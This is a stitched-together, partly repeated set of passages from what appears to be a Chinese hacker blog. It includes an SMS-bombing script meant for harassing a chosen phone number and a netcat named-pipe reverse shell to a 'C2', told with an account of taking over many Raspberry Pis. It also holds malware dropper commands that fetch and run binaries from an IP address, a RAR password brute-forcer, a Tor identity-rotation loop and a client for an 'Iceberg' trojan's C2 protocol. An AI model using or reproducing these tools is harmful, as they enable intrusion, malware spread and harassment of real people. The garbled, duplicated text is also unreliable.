仓库地址如上
HelloGolang = ClientHelloID{helloGolang, helloAutoVers, nil, nil}
// HelloCustom will prepare ClientHello with empty uconn.Extensions so you can fill it with
// TLSExtensions manually or use ApplyPreset function
HelloCustom = ClientHelloID{helloCustom, helloAutoVers, nil, nil}
// HelloRandomized* randomly adds/reorders extensions, ciphersuites, etc.
HelloRandomized = ClientHelloID{helloRandomized, helloAutoVers, nil, nil}
HelloRandomizedALPN = ClientHelloID{helloRandomizedALPN, helloAutoVers, nil, nil}
HelloRandomizedNoALPN = ClientHelloID{helloRandomizedNoALPN, helloAutoVers, nil, nil}
// The rest will will parrot given browser.
HelloFirefox_Auto = HelloFirefox_120
HelloFirefox_55 = ClientHelloID{helloFirefox, "55", nil, nil}
HelloFirefox_56 = ClientHelloID{helloFirefox, "56", nil, nil}
HelloFirefox_63 = ClientHelloID{helloFirefox, "63", nil, nil}
HelloFirefox_65 = ClientHelloID{helloFirefox, "65", nil, nil}
HelloFirefox_99 = ClientHelloID{helloFirefox, "99", nil, nil}
HelloFirefox_102 = ClientHelloID{helloFirefox, "102", nil, nil}
HelloFirefox_105 = ClientHelloID{helloFirefox, "105", nil, nil}
HelloFirefox_120 = ClientHelloID{helloFirefox, "120", nil, nil}
HelloChrome_Auto = HelloChrome_133
HelloChrome_58 = ClientHelloID{helloChrome, "58", nil, nil}
HelloChrome_62 = ClientHelloID{helloChrome, "62", nil, nil}
HelloChrome_70 = ClientHelloID{helloChrome, "70", nil, nil}
HelloChrome_72 = ClientHelloID{helloChrome, "72", nil, nil}
HelloChrome_83 = ClientHelloID{helloChrome, "83", nil, nil}
HelloChrome_87 = ClientHelloID{helloChrome, "87", nil, nil}
HelloChrome_96 = ClientHelloID{helloChrome, "96", nil, nil}
HelloChrome_100 = ClientHelloID{helloChrome, "100", nil, nil}
HelloChrome_102 = ClientHelloID{helloChrome, "102", nil, nil}
HelloChrome_106_Shuffle = ClientHelloID{helloChrome, "106", nil, nil} // TLS Extension shuffler enabled starting from 106
// Chrome w/ PSK: Chrome start sending this ClientHello after doing TLS 1.3 handshake with the same server.
// Beta: PSK extension added. However, uTLS doesn't ship with full PSK support.
// Use at your own discretion.
HelloChrome_100_PSK = ClientHelloID{helloChrome, "100_PSK", nil, nil}
HelloChrome_112_PSK_Shuf = ClientHelloID{helloChrome, "112_PSK", nil, nil}
HelloChrome_114_Padding_PSK_Shuf = ClientHelloID{helloChrome, "114_PSK", nil, nil}
// Chrome w/ Post-Quantum Key Agreement
// Beta: PQ extension added. However, uTLS doesn't ship with full PQ support. Use at your own discretion.
HelloChrome_115_PQ = ClientHelloID{helloChrome, "115_PQ", nil, nil}
HelloChrome_115_PQ_PSK = ClientHelloID{helloChrome, "115_PQ_PSK", nil, nil}
// Chrome ECH
HelloChrome_120 = ClientHelloID{helloChrome, "120", nil, nil}
// Chrome w/ Post-Quantum Key Agreement and Encrypted ClientHello
HelloChrome_120_PQ = ClientHelloID{helloChrome, "120_PQ", nil, nil}
// Chrome w/ ML-KEM curve
HelloChrome_131 = ClientHelloID{helloChrome, "131", nil, nil}
// Chrome w/ New ALPS codepoint
HelloChrome_133 = ClientHelloID{helloChrome, "133", nil, nil}
HelloIOS_Auto = HelloIOS_14
HelloIOS_11_1 = ClientHelloID{helloIOS, "111", nil, nil} // legacy "111" means 11.1
HelloIOS_12_1 = ClientHelloID{helloIOS, "12.1", nil, nil}
HelloIOS_13 = ClientHelloID{helloIOS, "13", nil, nil}
HelloIOS_14 = ClientHelloID{helloIOS, "14", nil, nil}
HelloAndroid_11_OkHttp = ClientHelloID{helloAndroid, "11", nil, nil}raw[.]githubusercontent[.]com/kekyo/OuternetExplorer/refs/heads/main/oexplore.c
把int start()改成int main(void)
运行oexplore.exe即可在IE中打开https://www[.]bing[.]com
可以作为冰山插件了
把int start()改成int main(void)
x86_64-w64-mingw32-gcc oexplore.c -o oexplore.exe -lole32 -loleaut32 -mwindows -luuid
运行oexplore.exe即可在IE中打开https://www[.]bing[.]com
可以作为冰山插件了
# 短信轰炸机(金数据)
import requests
url='https://jinshuju.com/graphql/f/GWSnA4'
json = [
{
'operationName': 'CreateFieldVerification',
'variables': {
'input': {
'fieldApiCode': 'field_1',
'formId': 'GWSnA4',
'mobile': '15829381956',
},
},
'extensions': {
'persistedQuery': {
'sha256Hash': '77e2c905d36069c91d2ea55e915a1916204393b04a632087d59001301e6f7f5b'
},
},
}
]
# mobile可以在 t.me/qingbaoju_qun 里找
# 自行换成你要轰炸的电话号码
requests.post(url=url, json=json)
伟大导师program-think曾在Netcat-Tricks中提到
"""
据说是考虑到-e选项太过危险,nc的OpenBSD变种在多年前已经移除了该选项,但其实捏
还是可以用间接的方式达到同样的效果,至于如何做,俺就不透露啦.
"""
我可就要好好透露啦!
第一步mkfifo /tmp/p
建立一个命名管道
(假如你的C2是8.8.8.8,那么就ssh登录它并且nc -lvp 53)
第一个匿名管道记作匿名管道一号,第二个匿名管道记作匿名管道二号
进程A(cat /tmp/p)
stdin 无
stdout 匿名管道一号的写端
stderr 无
进程B(/bin/sh/ -i 2>&1)
stdin 匿名管道一号的读端
stdout 匿名管道二号的写端
stderr 重定向到stdout的"地址"(这里的&并非C语言的&)
进程C(ncat 8.8.8.8 53 > /tmp/p)
stdin 匿名管道二号的读端(/bin/sh的stdout和stderr)
stdout 重定向到命名管道/tmp/p
stderr 无
假如在8.8.8.8上标准输入"ls\n"
/bin/sh会用fork创建子进程,然后子进程用GI_execve执行/usr/bin/ls,也即GI_execve("/usr/bin/ls",['ls'],?)
其中这个问号是一个数组,可以用printenv或env查看
验证方法
gdb /bin/sh
如果像我一样没有调试符号,那么就用寄存器而非argc,argv一类.
(gdb) break execve
(gdb) set-follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) run -i
# ls
info registers
记下rdi的地址(无论0x0(十六进制)列下还是0(十进制)列下)
x/s 0x555555574688
输出 /usr/bin/ls
记下rsi的地址0x555555574510
x/s ((char**)0x555555574510)[0]
这个索引是0的即['ls']
从2开始即是那个问号了.
同样,ncat也是用GI_libc_read来工作的.
背景
xxxx给了我100多个树莓派
全国各地都有,有45台在线,命令行不允许交互(还好有命名管道),给了我网站控制台,armv7l
在November 10,它没了,可能是Sec-WebSocket-Key重复使用触发风控而非xxxx所说的"资源占用太多影响正常使用,然后查日志发现了"
回忆录
有几个x86的树莓派是(venv)提示符,echo $0也是/bin/sh
我参考了ptyshell仓库中的pty.c
和Call xdg-open in C 这两个文件
设计了无脑秒连的应用程序.
当时我还把GM620开Telnet了.
这个网站控制台是乙方的,一个树莓派一个公司(甲方).
后渗透
xxxx是emptiness-a-new-evolving-botnet中的主角,也是我的朋友.
x.com/360Netlab 来晚了 这件事发生的时间你猜猜看
"""
据说是考虑到-e选项太过危险,nc的OpenBSD变种在多年前已经移除了该选项,但其实捏
还是可以用间接的方式达到同样的效果,至于如何做,俺就不透露啦.
"""
我可就要好好透露啦!
第一步mkfifo /tmp/p
建立一个命名管道
cat /tmp/p | /bin/sh/ -i 2>&1 | ncat 8.8.8.8 53 > /tmp/p
(假如你的C2是8.8.8.8,那么就ssh登录它并且nc -lvp 53)
第一个匿名管道记作匿名管道一号,第二个匿名管道记作匿名管道二号
进程A(cat /tmp/p)
stdin 无
stdout 匿名管道一号的写端
stderr 无
进程B(/bin/sh/ -i 2>&1)
stdin 匿名管道一号的读端
stdout 匿名管道二号的写端
stderr 重定向到stdout的"地址"(这里的&并非C语言的&)
进程C(ncat 8.8.8.8 53 > /tmp/p)
stdin 匿名管道二号的读端(/bin/sh的stdout和stderr)
stdout 重定向到命名管道/tmp/p
stderr 无
假如在8.8.8.8上标准输入"ls\n"
/bin/sh会用fork创建子进程,然后子进程用GI_execve执行/usr/bin/ls,也即GI_execve("/usr/bin/ls",['ls'],?)
其中这个问号是一个数组,可以用printenv或env查看
验证方法
gdb /bin/sh
如果像我一样没有调试符号,那么就用寄存器而非argc,argv一类.
(gdb) break execve
(gdb) set-follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) run -i
# ls
info registers
记下rdi的地址(无论0x0(十六进制)列下还是0(十进制)列下)
x/s 0x555555574688
输出 /usr/bin/ls
记下rsi的地址0x555555574510
x/s ((char**)0x555555574510)[0]
这个索引是0的即['ls']
从2开始即是那个问号了.
同样,ncat也是用GI_libc_read来工作的.
背景
xxxx给了我100多个树莓派
全国各地都有,有45台在线,命令行不允许交互(还好有命名管道),给了我网站控制台,armv7l
在November 10,它没了,可能是Sec-WebSocket-Key重复使用触发风控而非xxxx所说的"资源占用太多影响正常使用,然后查日志发现了"
回忆录
有几个x86的树莓派是(venv)提示符,echo $0也是/bin/sh
我参考了ptyshell仓库中的pty.c
和Call xdg-open in C 这两个文件
设计了无脑秒连的应用程序.
当时我还把GM620开Telnet了.
这个网站控制台是乙方的,一个树莓派一个公司(甲方).
后渗透
print(import('bs4').BeautifulSoup(import('requests').get('http://192.168.3.1').text,'html.parser').title.string)xxxx是emptiness-a-new-evolving-botnet中的主角,也是我的朋友.
x.com/360Netlab 来晚了 这件事发生的时间你猜猜看
dvr\.lilin\.sh
I capture a malware sample frost.armv7
As for now
strace -f qemu-arm ./frost.armv7
Key Code
I capture a malware sample frost.armv7
cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://87.121.84.101/frost.armv7; chmod 777 frost.armv7; ./frost.armv7 dvr.lilin; rm frost.armv7
wget http://87.121.84.101/frost.armv6; chmod 777 frost.armv6; ./frost.armv6 dvr.lilin; rm frost.armv6
wget http://87.121.84.101/frost.armv5; chmod 777 frost.armv5; ./frost.armv5 dvr.lilin; rm frost.armv5
wget http://87.121.84.101/frost.mips; chmod 777 frost.mips; ./frost.mips dvr.lilin; rm frost.mips
wget http://87.121.84.101/frost.mipsel; chmod 777 frost.mipsel; ./frost.mipsel dvr.lilin; rm frost.mipsel
wget http://87.121.84.101/frost.aarch64; chmod 777 frost.aarch64; ./frost.aarch64 dvr.lilin; rm frost.aarch64
wget http://87.121.84.101/frost.x86; chmod 777 frost.x86; ./frost.x86 dvr.lilin; rm frost.x86
wget http://87.121.84.101/frost.x86_64; chmod 777 frost.x86_64; ./frost.x86_64 dvr.lilin; rm frost.x86_64
As for now
strace -f qemu-arm ./frost.armv7
Key Code
write(1, "pwned :3", 8)
connect(4, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("144.172.103.124")}, 16)
unlink("./frost.armv7") // the reason I stop
Github仓库Cierra-Runis/Elliptic-Curves-Number-Theory-and-Cryptography
workflow有PDF可以下载.简体中文
以上是口算ECDHKE的渊源了,这个作者的followers也就比我多亿点点.
本来维基百科的编辑者们可以用位运算的 ::-1这个slice还是我添加的.
我还参考了secg[.]org等,他们都作出了贡献.
这里有不少彩蛋,我不会指出的,我还在抱怨我频道的subscriber什么时候才能超过一个呢.
workflow有PDF可以下载.简体中文
以上是口算ECDHKE的渊源了,这个作者的followers也就比我多亿点点.
from sympy import mod_inverse
# 模逆运算很简单
p = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
x = 0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
y = 0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
U221E = (0,0) 其实U+221E是无穷原点的Unicode
def point_add(P1 , P2):
if P1 == U221E:
return P2
if P2 == U221E:
return P1
x1 , y1 = P1
x2 , y2 = P2
if x1 != x2:
m = (y2 - y1) * mod_inverse(x2 - x1,p) % p
x3 = (m ** 2 - x1 - x2) % p
y3 = (m * (x1 - x3) - y1) % p
return (x3,y3)
if x1 == x2 and y1 != y2:
return U221E
# 这是点的加法
def point_double(P1, P2):
x1 , y1 = P1
x2 , y2 = P2
if P1 == P2 and y1 != 0:
m = (3 * x1 ** 2 + a) * mod_inverse(2 * y1,p) % p
x3 = (m ** 2 - 2 * x1) % p
y3 = (m * (x1 - x3) - y1) % p
return (x3,y3)
if P1 == P2 and y1 == 0:
return U221E
# 略过了
def double_and_add(s,P):
bits = format(s,'b')[::-1]
res = U221E
temp = P
for bit in bits:
if bit == '1':
res = point_add(res , temp)
temp = point_double(temp , temp)
return res
本来维基百科的编辑者们可以用位运算的 ::-1这个slice还是我添加的.
我还参考了secg[.]org等,他们都作出了贡献.
这里有不少彩蛋,我不会指出的,我还在抱怨我频道的subscriber什么时候才能超过一个呢.
无产阶级的伟大导师是马克思毛泽东列宁
那么我的导师又有谁呢?
第一个伟大导师:偶尔有点小迷糊
他的作品让我记忆犹新
第二个伟大导师
尼卡球球(a.k.a Hui3c)他的同伴是Xiaopan233
虽然CSDN病危了 但BUG多了难免会出现不少代码
所以site:blog[.]csdn[.]net还是加上为妙
前几个帖子的伟大导师已经有一个踩缝纫机去了.这里不再赘述.
最后一个被人误解为跳梁小丑的群体
红客
Coolfire(如果你听到没有如雷贯耳 我建议去web[.]archive[.]org逛逛 429的话去买家宽)曾说过
"""
多年来 网路(tw话)上出现许多山寨版的红客联盟 造成娱乐化的现象让人惋惜
"""
那么我的导师又有谁呢?
第一个伟大导师:偶尔有点小迷糊
他的作品让我记忆犹新
import os
import datetime
from unrar import rarfile
import sys
def crack(encryptfile):
bFound=False
fp=rarfile.RarFile(winfile)
start=0
stop=9999
for i in range(start,stop):
pwd=str(i).zfill(4)
try:
fp.extractall(path=".",pwd=pwd)
print('\npassword'+pwd)
bFound=True
fp.close
except Exception as e:
print("\rcomplete","{:.0%}".format((i-start)/(stop-start)),end="")
if bFound:
break
if __name__=='__main__':
starttime=datetime.datetime.now()
crack(sys.argv[1])
第二个伟大导师
尼卡球球(a.k.a Hui3c)他的同伴是Xiaopan233
虽然CSDN病危了 但BUG多了难免会出现不少代码
所以site:blog[.]csdn[.]net还是加上为妙
前几个帖子的伟大导师已经有一个踩缝纫机去了.这里不再赘述.
最后一个被人误解为跳梁小丑的群体
红客
Coolfire(如果你听到没有如雷贯耳 我建议去web[.]archive[.]org逛逛 429的话去买家宽)曾说过
"""
多年来 网路(tw话)上出现许多山寨版的红客联盟 造成娱乐化的现象让人惋惜
"""
我就在霹雳霹雳发布了一个视频
运行了如下程序
被锁定了(就这么个垃圾程序)
告别霹雳霹雳,从此Youtube
运行了如下程序
import requests
from stem import Signal
from stem.control import Controller
url="https://check[.]torproject[.]org"
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from bs4 import BeautifulSoup
proxies = {'https':'socks5h://127.0.0.1:9150'}
while True:
try:
c=Controller.from_port()
c.authenticate()
c.signal(Signal.NEWNYM)
r = requests.get(url=url, proxies=proxies,verify=False).text
print(BeautifulSoup(r,'lxml').strong.string)
except KeyboardInterrupt:
print('Control-C')
break
被锁定了(就这么个垃圾程序)
告别霹雳霹雳,从此Youtube
bytecat
bytecategory/Iceberg_Trojan_CLI
from Crypto.Cipher import DES
import struct
import zlib
import binascii
import socket
import sys
def reverse_bytes(b):
assert type(b) == bytes
ba = bytearray(b)
for i in range(0, len(b)):
ba[i] = int(format(b[i], '0>8b')[::-1], 2)
return bytes(ba)
def get_new_key(key):
ba = bytearray(8)
for i, b in enumerate(key):
ba[i % 8] ^= b
return bytes(ba)
def padding(d):
ba = bytearray(d)
while len(ba) % 8 != 0:
ba.append(0)
return bytes(ba)
def append_len(d):
assert type(d) == bytes
length = struct.pack('<L', len(d))
return bytes(length + d)
def remove_len(d):
assert type(d) == bytes
return d[4:]
def e_des_encrypt(plain, key):
des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
return des.encrypt(padding(append_len(plain)))
def e_des_decrypt(raw, key):
des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
t = des.decrypt(raw)
return remove_len(t)
plain = "MicrosoftWebゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0".encode('gbk')
key = b"Microsoft"
ciph = e_des_encrypt(plain, key)
data = binascii.unhexlify('0d0f3e0308010000')+zlib.compress(ciph)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],8080))
s.send(data)
while True:
recevied=s.recv(4096)
zlib_start = recevied.find(b'\x78\x9c')
if zlib_start!=-1:
zlib_data = recevied[zlib_start:]
decompressed = zlib.decompress(zlib_data)
plaintext_bytes = e_des_decrypt(decompressed, b"Microsoft")
plaintext = plaintext_bytes.decode('gbk')
print(plaintext)
else:
print(recevied)